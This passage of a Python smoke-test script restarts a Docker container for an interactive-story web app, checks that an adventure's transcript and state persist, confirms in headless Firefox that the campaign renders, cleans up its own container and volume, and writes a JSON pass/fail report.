errors[0].get("detail", "")[:160] if errors else
|
||||
f"{page_after.get('total')} actions")
|
||||
before = [(a.get("type"), (a.get("text") or "")[:120])
|
||||
for a in (page_after.get("actions") or [])]
|
||||
state_before = api(base, "GET", f"/adventures/{adv}/state") or {}
|
||||
|
||||
print("restarting the container …")
|
||||
run("docker", "restart", NAME)
|
||||
ready = wait_ready(base)
|
||||
checks.record("the container restarts and serves again", ready)
|
||||
|
||||
page_reopened = api(base, "GET", f"/adventures/{adv}/actions?limit=50") or {}
|
||||
after = [(a.get("type"), (a.get("text") or "")[:120])
|
||||
for a in (page_reopened.get("actions") or [])]
|
||||
checks.record("the transcript survived the restart", after == before,
|
||||
f"{len(before)} -> {len(after)} actions")
|
||||
state_after = api(base, "GET", f"/adventures/{adv}/state") or {}
|
||||
checks.record("the narrative state survived the restart",
|
||||
state_after == state_before)
|
||||
|
||||
browser = Browser(headless=True, log=out / "geckodriver.log")
|
||||
try:
|
||||
browser.go(f"{base}/play/{adv}")
|
||||
browser.wait_for(".story-controls", timeout=60)
|
||||
story = browser.js(
|
||||
"const el = document.querySelector('.story');"
|
||||
" return el ? el.textContent.trim().length : 0;")
|
||||
checks.record("Firefox renders the reopened campaign",
|
||||
isinstance(story, int) and story > 0, f"{story} characters of story")
|
||||
browser.screenshot(out / "reopened-campaign.png")
|
||||
finally:
|
||||
browser.quit()
|
||||
finally:
|
||||
logs = run("docker", "logs", NAME)
|
||||
(out / "container.log").write_text(logs.stdout + logs.stderr)
|
||||
run("docker", "rm", "-f", NAME)
|
||||
run("docker", "volume", "rm", VOLUME)
|
||||
|
||||
report = {
|
||||
"image": args.image,
|
||||
"started": started.isoformat(timespec="seconds"),
|
||||
"seconds": round((datetime.now() - started).total_seconds()),
|
||||
"endpoint_class": "trusted-LAN HTTPS with a private CA",
|
||||
"checks": checks.rows,
|
||||
"passed": len([r for r in checks.rows if r["result"] == "PASS"]),
|
||||
"failed": len(checks.failed),
|
||||
}
|
||||
(out / "smoke-report.json").write_text(json.dumps(report, indent=2))
|
||||
print(f"\n{report['passed']} passed, {report['failed']} failed "
|
||||
f"-> {out / 'smoke-report.json'}")
|
||||
return 1 if checks.failed else 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user